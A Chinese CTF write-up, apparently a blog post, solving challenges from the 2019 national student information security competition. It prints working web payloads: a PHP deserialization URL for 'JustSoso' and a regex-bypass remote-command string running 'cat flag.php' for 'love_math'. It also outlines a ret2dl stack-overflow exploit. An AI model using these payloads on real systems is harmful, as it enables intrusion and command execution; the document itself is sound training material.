2019年第十二届全国大学生信息安全竞赛部分WriteUp-jedi

第十二届全国大学生信息安全竞赛部分WriteUp

0x00 签到题

操作内容:

下载链接,解压并运行软件,对准两个聚焦圆圈,控制台回车输出flag
在这里插入图片描述

FLAG值:

FLAG{87e37d95-6a48-4463-aff8-b0dbd27d3b7d}

0x01 SALEAE

操作内容:

打开发现是.logicdata(逻辑分析仪数据文件),使用Logic软件打开,根据时钟频率以及通讯方式擦侧是属于SPI通讯,解析得到flag
在这里插入图片描述
flag竖着读
在这里插入图片描述

FLAG值:

FLAG{12071397-19d1-48e6-be8c-784b89a95e07}

0x02 24c

操作内容:

同上题方式,打开,发现又是IIC协议,解析发现结果
在这里插入图片描述
将结果导出为文本格式
在这里插入图片描述
尝试拼接发现有问题,然后想到题目名是24c,想到IIC的EEPROM存储芯片24c02,又联想到是IIC协议,想起IIC操作24c02的时候要先发送开始操作的地址,以及NAK这个停止符(想到可能是要修改内容二中断接收)。于是想到\t不是字符,其对应的ASCII是9,也就是从第9号位‘9’开始将”9e”替换为ac,与之前的部分进行拼接然后得到结果。

FLAG值:

FLAG{c46dac10-e9b5-4d90-a883-41cf163bdf4e}

0x03 easyG0

操作内容:

下载链接,经分析,需要输入一些字符串,所以打开ida 搜索please,然后交叉引用返回到地址0x495168
在这里插入图片描述
,然后用gdb在0x495168处下断点,单步调试,直到让输入一些字符串,这个地方随便输,就行,然后一直单步执行,会到两个字符串比较的地方,这时可以在栈空间看见flag,如下:
在这里插入图片描述

FLAG值:

FLAG{92094daf-33c9-431e-a85a-8bfbd5df98ad}

0x04 JustSoso

操作内容:

在网页源代码中发现提示

php任意文件包含,下面是base64转文本的结果

index.php

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
	echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
	die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
    	    die('stop hacking!');
    	    exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
	public function __construct($handle) { 
        $this->handle = $handle; 
    } 
	public function __destruct(){
		$this->handle->getFlag();
	}
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
		$this->file = $file;
		$this->token_flag = $this->token = md5(rand(1,10000));
    }
    
	public function getFlag(){
		$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
		{
			if(isset($this->file)){
				echo @highlight_file($this->file,true); 
            }  
        }
    }
}
?>

我们使用 ///,可以绕过
url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query);
然后 使用%00 绕过 wakeup;
最后使用=& 链接 指向同一地址 使得token = token_flag即可。

使用payload:
http://cca41b4bf4704d57b697729ee8950f4c509984bceeb5401c.changame.ichunqiu.com///index.php?file=hint.php&payload=O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}

FLAG值:

FLAG{064c36f1-f47b-4a35-b172-e27cfa8c74f6}

0x05 puzzles

操作内容:

Question0解四元一次方程:
在这里插入图片描述
Question1根据规律可以知道part1为26365399
Question2求极限函数可知part2为7700
Question3根据感应电动势计算公式可知part3为18640
Question4计算立体图形体积,三重积分可得part4为40320
在这里插入图片描述
将所得数字进行十六进制转换,得到flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}

FLAG值:

FLAG{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}

0x06 usbasp

操作内容:

下载链接,将文件拖进逻辑分析仪中,并设置相关参数,如图:
在这里插入图片描述
拉到最后就可以看到flag了,flag竖着读
在这里插入图片描述

FLAG值:

FLAG{85b084c6-42e6-495c-87b4-46dfb1df58a0}

0x07 warmup

操作内容:

下载链接,分析代码文件,确定是AES题目。通过分析,可以联想到DDCTF中AES ECB加解密还原(安全通信)类似于本题目,唯一的区别就是ECB换成了另外的CRT,解题的思路和关键点在可控密钥长度,这里选择逐位爆破flag,经过测试可以知道逐位爆破flag,每次16位,重复3位即可;
(类似AES ECB题目链接:https://www.cnblogs.com/kagari/p/8889412.html)
根据分析撸出脚本,如图:
在这里插入图片描述在这里插入图片描述

FLAG值:

FLAG{9063a267-25ae-45a3-9c6e-62c0eb1db2e9}

0x08 love_math

操作内容:

查看源代码发现ajax连接一个calc.php文件,访问这个文件
在这里插入图片描述
访问之后,给出源代码
在这里插入图片描述
发现需要绕过两处正则,经过半天的测试,发现可以通过这种方法绕过正则列目录
$exp=base_convert;$sin=$exp(1751504350,10,36);$tan=$exp(784,10,36);$sin($tan);
在这里插入图片描述
然后就是想尽办法读取flag.php的内容,一开始是觉得在这个地方想办法绕过特殊字符,绕过空格使用cat读取文件,到下午之后发现其他的利用方式
base_convert可以进行进制转化并且在白名单中37907361743-hex2bin
dechex可以将十进制转十六进制,1598506324-5f474554
后面就是按照正则绕就OK了。
payload:/calc.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=cat%20flag.php
在这里插入图片描述
flag在网页源代码中,
在这里插入图片描述

进制转换可以通过这个网站在线转换:https://tool.lu/hexconvert/

FLAG值:
FLAG{846ed64d-b1c4-4c3a-b1d4-54d548077b2d}

0x09 bbvvmm

操作内容:

下载链接,解压文件,直接拖进UE,发现用户名和密码,如图所示:
在这里插入图片描述
初看感觉应该是正常的base64,但是在线解密后,发现不对,测试一下,感觉应该是畸形base64解码,如下图:
在这里插入图片描述
在这里插入图片描述
可以知道用户名经过了rsm加密,然后是base64解码,
在这里插入图片描述
在这里插入图片描述
最后可以得到用户名为:badrer12

此时密码还没有得到,lda进行反编译一下,单流程有几百个,ida远程进行动态调试,在要输入的数据上下断点,然后查看内存,发现
在这里插入图片描述
密码得到为:xyz{|};

输入用户名和密码,使用pwntools,运行脚本,
在这里插入图片描述
得到flag:
在这里插入图片描述

FLAG值:

0x10 baby_pwn

操作内容:
下载链接,解压文件,放入ida,分析一波
在这里插入图片描述
如下图可以发现,除了明显的栈溢出,没有可以用来leak内存布局,bypass aslr的函数,
在这里插入图片描述
反编译read,可以看出有很明显的栈溢出漏洞,但是只有一个read,没有可以用来leak的函数,所以利用ret2dl的解法

关键思路是通过栈溢出来调用read函数在bss段写我们需要的结构和/bin/sh,然后使用dl_resolve_call去调用system,得到shell
脚本编写,如下图:
在这里插入图片描述
利用roputils工具来实现ret2dl(在python中算模块)
直接在github上下载roputils包:https://codeload.github.com/inaz2/roputils/zip/master

运行脚本,得到flag,如图:

在这里插入图片描述

FLAG值:

FLAG{212813c713fd088211723ba325350a9d }

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值